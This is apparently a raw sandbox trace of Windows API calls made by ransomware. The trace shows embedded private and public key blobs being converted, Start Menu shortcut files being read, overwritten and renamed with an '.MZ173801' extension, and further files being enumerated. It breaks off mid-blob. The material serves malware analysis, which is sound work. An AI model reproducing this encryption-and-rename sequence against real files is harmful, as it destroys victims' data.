WtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0211.493] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x24a003c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0211.494] GetCurrentThreadId () returned 0xab4 [0211.494] GetCurrentThreadId () returned 0xab4 [0211.494] GetCurrentThreadId () returned 0xab4 [0211.495] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0211.495] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x24b109c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0211.495] GetCurrentThreadId () returned 0xab4 [0211.495] GetCurrentThreadId () returned 0xab4 [0211.495] GetCurrentThreadId () returned 0xab4 [0211.495] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\PrintDialog.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\printdialog.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x328 [0211.496] SetFilePointer (in: hFile=0x328, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f740*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f740*=0) returned 0x0 [0211.496] SetFilePointer (in: hFile=0x328, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x0 [0211.496] SetFilePointer (in: hFile=0x328, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x897 [0211.496] SetFilePointer (in: hFile=0x328, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x0 [0211.496] ReadFile (in: hFile=0x328, lpBuffer=0x24b8ea0, nNumberOfBytesToRead=0x897, lpNumberOfBytesRead=0x19f74c, lpOverlapped=0x0 | out: lpBuffer=0x24b8ea0*, lpNumberOfBytesRead=0x19f74c*=0x897, lpOverlapped=0x0) returned 1 [0211.507] CloseHandle (hObject=0x328) returned 1 [0211.507] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\PrintDialog.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\printdialog.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x328 [0211.508] WriteFile (in: hFile=0x328, lpBuffer=0x24baed0*, nNumberOfBytesToWrite=0x897, lpNumberOfBytesWritten=0x19f758, lpOverlapped=0x0 | out: lpBuffer=0x24baed0*, lpNumberOfBytesWritten=0x19f758*=0x897, lpOverlapped=0x0) returned 1 [0211.509] CloseHandle (hObject=0x328) returned 1 [0211.510] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\PrintDialog.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\printdialog.lnk"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\PrintDialog.lnk.MZ173801" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\printdialog.lnk.mz173801")) returned 1 [0211.511] GetCurrentThreadId () returned 0xab4 [0211.511] GetCurrentThreadId () returned 0xab4 [0211.511] GetCurrentThreadId () returned 0xab4 [0211.511] GetCurrentThreadId () returned 0xab4 [0211.511] GetCurrentThreadId () returned 0xab4 [0211.511] GetCurrentThreadId () returned 0xab4 [0211.511] FindNextFileW (in: hFindFile=0xa1b268, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd412f52, ftCreationTime.dwHighDateTime=0x1d47c33, ftLastAccessTime.dwLowDateTime=0xfd412f52, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xfd412f52, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x87e, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="Project 2016.lnk", cAlternateFileName="PROJEC~1.LNK")) returned 1 [0211.511] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0211.511] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0211.511] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Project 2016.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\project 2016.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19f78c | out: lpFileInformation=0x19f78c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd412f52, ftCreationTime.dwHighDateTime=0x1d47c33, ftLastAccessTime.dwLowDateTime=0xfd412f52, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xfd412f52, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x87e)) returned 1 [0211.511] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Project 2016.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\project 2016.lnk")) returned 0x20 [0211.511] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Project 2016.lnk", dwFileAttributes=0x80) returned 1 [0211.513] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0211.513] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqj